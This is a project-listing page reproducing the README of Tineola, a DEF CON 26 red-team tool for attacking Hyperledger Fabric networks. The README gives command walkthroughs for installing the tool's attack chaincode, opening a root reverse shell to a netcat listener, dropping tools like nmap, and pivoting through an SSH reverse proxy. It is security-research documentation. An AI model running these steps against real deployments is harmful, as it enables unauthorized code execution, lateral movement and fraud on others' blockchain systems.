All Projects → tineola → tineola

tineola / tineola

Licence: other
Blockchains. Destruction. Mayhem.

Programming Languages

javascript
184084 projects - #8 most used programming language
go
31211 projects - #10 most used programming language

Projects that are alternatives of or similar to tineola

ruby-stream-api
Ruby Stream API. Inspired by Java 8's Stream API.
Stars: ✭ 21 (-55.32%)
Mutual labels:  enterprise
EHR-on-blockchain
A Electronic Health Records system on hyperledger fabric maintained by consortium of hospitals for patients.
Stars: ✭ 35 (-25.53%)
Mutual labels:  hyperledger-fabric
Leveraging-cache-and-MessagingQueue-to-scale-BlockchainNetwork
WARNING: This repository is no longer maintained ⚠️ This repository will not be updated. The repository will be kept available in read-only mode.
Stars: ✭ 28 (-40.43%)
Mutual labels:  hyperledger-fabric
search-tweets-ruby
Ruby client for the Twitter search endpoints (v2/Labs/premium/enterprise). Now supports Twitter API v2 /recent and /all search endpoints.
Stars: ✭ 45 (-4.26%)
Mutual labels:  enterprise
awesome-lowcode
App Builders、Enterprise Platforms、LowCode、Low-Code
Stars: ✭ 46 (-2.13%)
Mutual labels:  enterprise
heroes-service-network
Short tutorial to build a blockchain network with Hyperledger Fabric
Stars: ✭ 22 (-53.19%)
Mutual labels:  hyperledger-fabric
piranha
Piranha - a modern cloud runtime
Stars: ✭ 136 (+189.36%)
Mutual labels:  enterprise
generator-angular-pro
AngularJS project generator for scalable, enterprise-grade web and mobile applications
Stars: ✭ 43 (-8.51%)
Mutual labels:  enterprise
fabric-external-chaincodes
Hyperledger Fabric network in K8s with External Chaincodes as pods
Stars: ✭ 69 (+46.81%)
Mutual labels:  hyperledger-fabric
fabkit
Fabric the way you like it 🙂
Stars: ✭ 17 (-63.83%)
Mutual labels:  hyperledger-fabric
CoreLibraries
A set of .NET libraries for building enterprise level solutions quickly
Stars: ✭ 22 (-53.19%)
Mutual labels:  enterprise
hlf-operator
Hyperledger Fabric Kubernetes operator - Hyperledger Fabric operator for Kubernetes (v2.2+)
Stars: ✭ 112 (+138.3%)
Mutual labels:  hyperledger-fabric
node-pom-parser
Parsing Java's pom.xml and properly returning the json object, including attributes and values.
Stars: ✭ 21 (-55.32%)
Mutual labels:  enterprise
scuri
Automate Angular unit test and boilerplate with this schematic.
Stars: ✭ 54 (+14.89%)
Mutual labels:  enterprise
hyperledger-fabric-sdk-php
Client SDK for Hyperledger Fabric for use in PHP applications
Stars: ✭ 40 (-14.89%)
Mutual labels:  hyperledger-fabric
fabric-java-block
集成springboot和fabric sdk 提供rest api的接口
Stars: ✭ 37 (-21.28%)
Mutual labels:  hyperledger-fabric
writing-chaincode
A repository to help experience developers with no Go or chaincode development experience to write and debug chaincodes.
Stars: ✭ 19 (-59.57%)
Mutual labels:  hyperledger-fabric
crux
Data Privacy for Quorum Blockchains
Stars: ✭ 50 (+6.38%)
Mutual labels:  enterprise
cv4pve-api-dotnet
Proxmox VE Client API .Net C#
Stars: ✭ 25 (-46.81%)
Mutual labels:  enterprise
airmedfoundation-terminal
Airmed Foundation's IPFS + Hyperledger Fabric web client
Stars: ✭ 29 (-38.3%)
Mutual labels:  hyperledger-fabric

Introducing Tineola

Read the Whitepaper and DEF CON 26 Slides.

Watch the DEF CON talk on Youtube:

Comitting insurance fraud with Tineola is a hands-on tutorial to hack the insurance app. It's a step-by-step guide to recreating the presentation demos.

Tineola Logo

Tineola is a red team tool for interfacing with Hyperledger Fabric deployments, networks, and chaincodes. Tineola is designed to work in as many configurations as possible, and require only the bare minimum configuration to get started. Tineola also ships with tineolacc, special chaincode for performing evil peer attacks.

This tool was originally released on Aug 12, 2018 at DefCon 26 by Stark Riedesel, Parsia Hakimian, Koen Buyens, and Travis Biehn.

Installing Tineola

Tineola requires NodeJS 8.x only. 10.x fails to validate GRPC/S certificates correctly when we override them in code and 12.x is not supported by the x509 parsing package we use.

  1. git clone https://github.com/tineola/tineola
  2. cd tineola; npm install
  3. cd bin; ./tineola.js

Tineola will load a .tineola-rc file from the current directory (if it exists) upon loading and execute any commands found within.

Getting Started

Tineola is an interactive command-line application with commands split into modules. The following is a list of common actions and the associated Tineola commands. A complete list of commands can be obtained by using the help command. Command syntax can be displayed with the -help flag.

Authenticating to a CA server for the first time (aka Enrollment)

tineola> ca-set https://ca.example.com:7050

tineola> user-set admin

tineola> ca-enroll adminpw ExampleOrgMSP

After these commands, the admin user has been enrolled into Tineola's keystore. Subsequent use of Tineola with the same CA server and user will not need re-enrollment. Simply using the user-set admin is sufficient for loading local user keys.

Connecting to a peer and listing existing channels

tineola> user-set admin

tineola> peer-set grpcs://peer1.example.com:7051

tineola> peer-list-channels

Connecting to a channel and show last 20 blocks

tineola> user-set admin

tineola> per-set grpcs://peer1.example.com:7051

tineola> channel-set testChan

tineola> channel-history --last 20

Query/Invoke existing chaincode

Querying refers to calling a chaincode function and receiving a response, but without ordering the transaction. The result is a "Read-only" chaincode call.

Invoking refers to calling a chaincode function and ordering the response which allows it to be read & write.

Both actions use the channel-query-cc Tineola command with or without the --invoke flag.

Invocation requires an orderer to be set.

Note: invoking requires the endorsement policy to be met, whereas querying does not.

tineola> user-set admin

tineola> peer-set grpcs://peer1.example.com:7051

tineola> channel-set testChan

tineola> channel-query-cc ccName ccFuncName

tineola> orderer-set grpcs://orderer1.example.com:7050

tineola> channel-query-cc --invoke ccName ccFuncName

Installing the Tineola chaincode

Most commands in the "tineola" module require the "tineolacc" chaincode to be installed to the peer.

Note that this action requires a peer administrator certificate to be accomplished and be acceptable to the channel endorsement policy.

tineola> user-set peerAdmin

tineola> channel-set testChan

tineola> tineola-install

Reverse shell from the Tineola chaincode

Start a tcp listener on the Tineola machine (10.0.0.5 in this example)

nc -l 31337

Use Tineola to launch the chaincode

tineola> user-set admin

tineola> channel-set testChan

tineola> tineola-shell 10.0.0.5:31337

The tcp listener should be given a root shell within the chaincode container. This container is a bare Ubuntu image. Use apt update and apt install ... to download packages if the peer is internet connected. If the peer is not internet connected, the tineola-http-drop command can be used to drop useful binaries like nmap.

Creating a reverse proxy with the Tineola chaincode

It may be useful to pivot through the chaincode container to access hidden network services such as CouchDB containers or other peers. The following assumes the Tineola machine is at 10.0.0.5, has ssh installed and running. The Tineola chaincode uses private key authentication to connect over ssh back to the Tineola machine. An allowed ssh private key should be present at ~/tineola-ssh-key for tineola to use.

Note: make sure to disallow this key after using Tineola.

Tineola makes no effort to encrypt or otherwise hide this key during or after use by the chaincode. This key will likely be present on the chaincode container indefinitely. Keys can be generated using ssh-keygen and installed to ~/.ssh/authorized keys. The username below "user" should be changed to match the username of the tineola machine. The target should be in the form IP:PORT and is 10.10.0.100:1234 in the example below.

tineola> user-set admin

tineola> user-set channel-set testChan

tineola> peer-set grpcs://peer1.example.com:7051

tineola> tineola-ssh-proxy 10.10.0.100:1234 10.0.0.5 user ~/tineola-ssh-key

Using Tineola with Burp or another HTTP-base application proxy/scanner

It may be useful to connect Tineola to an application scanner or proxy for ease of use when testing chaincode. Further, many Fabric deployments will use chain data in web applications upstream, making web application scanners great for detecting web vulnerability originating from chaincode.

tineola> user-set admin

tineola> peer-set grpcs://peer1.example.com:7051

tineola> channel-set testChans

tineola> orderer-set grpcs://orderer1.example:7050

tineola> tineola-http-proxy

Next, configure the HTTP scanner to use the port opened locally (default: localhost:8888). The format of HTTP requests should be:

POST /ccName/funcName HTTP/1.1
HLF-Invoke: yes

["arguments","as", "json"]

The HLF-Invoke header controls whether or not to send the request for ordering. If HLF-Invoke is set to "no" the query will be made read only but responses can still be collected from the chaincode. The orderer is not needed to be configured if invoking is disabled.

License

This software is released by Synopsys under the MIT license.

Note that the project description data, including the texts, logos, images, and/or trademarks, for each open source project belongs to its rightful owner. If you wish to add or remove any projects, please contact us at [email protected].